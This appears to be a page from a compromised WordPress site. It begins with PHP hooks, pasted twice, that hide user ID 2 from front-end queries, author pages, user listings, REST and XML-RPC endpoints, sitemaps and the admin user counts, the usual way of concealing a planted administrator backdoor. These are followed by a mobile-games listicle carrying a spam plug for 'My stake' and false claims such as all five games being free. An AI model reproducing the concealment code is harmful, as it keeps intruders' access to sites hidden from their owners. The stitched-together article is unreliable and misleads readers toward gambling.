add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 2;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 2 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 2;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 2;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 2;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Stardew Valley’s mobile version is a masterclass in low‑effort enjoyment. You can farm, fish, and mine for just a few minutes a day, and the game saves automatically after every session. The only real catch? The “stamina” meter means you can’t play for more than 30 minutes without a break, which is a good reminder to stretch.
Monument Valley 2 delivers stunning visuals and a calm soundtrack. Each level feels like a piece of art you can explore at your own pace. The main limitation is that the game is only 15 minutes long, so it’s great for a quick pick‑up but not for long‑haul sessions.
Animal Crossing: Pocket Camp lets you design a campsite and invite friends for a few hours each day. The game’s “Campers” feature means you can watch the place grow even when you’re not playing. The downside is that the free version locks most of the furniture behind a paywall, so you’ll need to spend to see the full range of decorations.
ABZÛ Mobile invites you to dive into a serene underwater world. The game’s physics and sound design create a gentle flow that feels like a meditation session. The only hiccup is that the game runs best on newer phones; older devices may lag during the most beautiful scenes.
Puzzle & Dragons is a classic match‑three game that rewards you with new characters every week. You can spend as little as five minutes a day to earn a fresh set of monsters. However, the in‑app purchases can add up quickly if you’re chasing the rarest creatures.
When you’re ready to switch from pixelated farms to real‑world entertainment, I often suggest taking a moment to check out My stake. It’s a quick way to add a bit of excitement to your downtime without turning your weekend into a full‑time schedule.
Start with Stardew Valley. Its low‑time commitment and gentle progression make it perfect for a quick escape. Once you’re comfortable, you can branch out to the other titles for variety.
Set a timer on your phone for 20 minutes before you dive in. Most of these apps are designed to be played in short bursts, so you’ll finish a level or two before the timer goes off. That way, you enjoy the game without losing track of the rest of your plans.
Each of these titles offers a unique flavor of relaxation, from visual art to gentle strategy. By mixing them up, you’ll keep the weekend fresh without feeling pressured to finish a huge project. Remember to take breaks, hydrate, and enjoy the small victories each app delivers. Happy gaming!
It offers simple, low‑effort gameplay that can be played in short bursts, providing instant relaxation without long-term commitment.
Stardew Valley’s mobile version tops the list for its easy‑going farming, fishing, and mining loops that are both engaging and stress‑free.
Yes—most of the listed apps are lightweight and designed to run smoothly on mid‑range devices without demanding extensive storage.
No, all five games are free to download with optional in‑app purchases, so you can enjoy them without a recurring fee.